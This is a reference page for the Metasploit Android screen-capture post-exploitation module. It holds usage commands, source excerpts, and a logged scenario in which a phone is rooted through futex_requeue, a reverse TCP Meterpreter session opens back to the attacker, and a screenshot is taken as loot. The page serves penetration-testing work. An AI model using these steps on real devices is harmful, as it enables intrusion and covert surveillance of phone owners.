Android Screen Capture - Metasploit
This page contains detailed information about how to use the post/android/capture/screen metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Android Screen Capture
Module: post/android/capture/screen
Source code: modules/post/android/capture/screen.rb
Disclosure date: -
Last modification time: 2020-12-20 11:17:39 +0000
Supported architecture(s): -
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module takes a screenshot of the target phone.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/android/capture/screen
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/android/capture/screen
msf post(screen) > show options
... show and set options ...
msf post(screen) > set SESSION session-id
msf post(screen) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/android/capture/screen")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module takes a screen capture with the Android built-in application to live off the land.
shell
or root
access is required.
Verification Steps
- Start msfconsole
- Get
shell
orroot
access on an Android device - Do:
use post/android/capture/screen
- Do:
set session [session]
- Do:
run
- You should get a screen capture saved to your device.
Options
EXE_PATH
Path to the screencap
executable on Android device. Default is /system/bin/screencap
.
TMP_PATH
Path to temp directory on Android device to save the screenshot to temporarily. Default is /data/local/tmp/
.
Scenarios
Samsung Galaxy S3 Verizon (SCH-I535 w/ Android 4.4.2, kernel 3.4.0)
Utilizing futex_requeue to get root access.
msf5 exploit(android/local/futex_requeue) > run
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Using target: New Samsung
[*] Loading exploit library /data/data/com.metasploit.stage/files/cbvzt
[*] Loaded library /data/data/com.metasploit.stage/files/cbvzt, deleting
[*] Waiting 300 seconds for payload
[*] Sending stage (904600 bytes) to 222.222.2.222
[*] Meterpreter session 4 opened (111.111.1.111:4444 -> 222.222.2.222:58577) at 2019-10-22 16:04:31 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(android/local/futex_requeue) > use post/android/capture/screen
msf5 post(android/capture/screen) > set session 4
session => 4
msf5 post(android/capture/screen) > run
[!] SESSION may not be compatible with this module.
[+] Downloading screenshot...
[+] Screenshot saved at /root/.msf4/loot/20191022161242_default_222.222.2.222_screen_capture.s_496457.png
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the android/capture/screen post exploitation module looks in the msfconsole:
msf6 > use post/android/capture/screen
msf6 post(android/capture/screen) > show info
Name: Android Screen Capture
Module: post/android/capture/screen
Platform: Android
Arch:
Rank: Normal
Provided by:
timwr
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXE_PATH /system/bin/screencap yes Path to remote screencap executable
SESSION yes The session to run this module on.
TMP_PATH /data/local/tmp/ yes Path to remote temp directory
Description:
This module takes a screenshot of the target phone.
Module Options
This is a complete list of options available in the android/capture/screen post exploitation module:
msf6 post(android/capture/screen) > show options
Module options (post/android/capture/screen):
Name Current Setting Required Description
---- --------------- -------- -----------
EXE_PATH /system/bin/screencap yes Path to remote screencap executable
SESSION yes The session to run this module on.
TMP_PATH /data/local/tmp/ yes Path to remote temp directory
Advanced Options
Here is a complete list of advanced options supported by the android/capture/screen post exploitation module:
msf6 post(android/capture/screen) > show advanced
Module advanced options (post/android/capture/screen):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the android/capture/screen module can do:
msf6 post(android/capture/screen) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the android/capture/screen post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(android/capture/screen) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This module requires shell or root permissions
Here is a relevant code snippet related to the "This module requires shell or root permissions" error message:
27: end
28:
29: def run
30: id = cmd_exec('id')
31: unless id =~ /root/ or id =~ /shell/
32: print_error("This module requires shell or root permissions")
33: return
34: end
35:
36: exe_path = datastore['EXE_PATH']
37: tmp_path = datastore['TMP_PATH']
Aborting, screencap binary not found.
Here is a relevant code snippet related to the "Aborting, screencap binary not found." error message:
34: end
35:
36: exe_path = datastore['EXE_PATH']
37: tmp_path = datastore['TMP_PATH']
38: if not file?(exe_path)
39: print_error("Aborting, screencap binary not found.")
40: return
41: end
42:
43: begin
44: file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png"
Error taking the screenshot
Here is a relevant code snippet related to the "Error taking the screenshot" error message:
45: cmd_exec("#{exe_path} -p #{file}")
46: print_good("Downloading screenshot...")
47: data = read_file(file)
48: file_rm(file)
49: rescue ::Rex::Post::Meterpreter::RequestError => e
50: print_error("Error taking the screenshot")
51: vprint_error("#{e.class} #{e} #{e.backtrace}")
52: return
53: end
54:
55: unless data
No data for screenshot
Here is a relevant code snippet related to the "No data for screenshot" error message:
51: vprint_error("#{e.class} #{e} #{e.backtrace}")
52: return
53: end
54:
55: unless data
56: print_error("No data for screenshot")
57: return
58: end
59:
60: begin
61: fn = "screenshot.png"
Error storing screenshot
Here is a relevant code snippet related to the "Error storing screenshot" error message:
60: begin
61: fn = "screenshot.png"
62: location = store_loot("screen_capture.screenshot", "image/png", session, data, fn, "Screenshot")
63: print_good("Screenshot saved at #{location}")
64: rescue ::IOError, ::Errno::ENOENT => e
65: print_error("Error storing screenshot")
66: vprint_error("#{e.class} #{e} #{e.backtrace}")
67: return
68: end
69: end
70: end
Go back to menu.
Related Pull Requests
- #14532 Merged Pull Request: post/android/capture/screen: Use Msf::Post::Common mixin
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5412 Merged Pull Request: Add screencap for Android
Go back to menu.
See Also
Check also the following modules related to this module:
- post/android/gather/hashdump
- post/android/gather/sub_info
- post/android/gather/wireless_ap
- post/android/local/koffee
- post/android/manage/remove_lock
- post/android/manage/remove_lock_root
Authors
- timwr
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.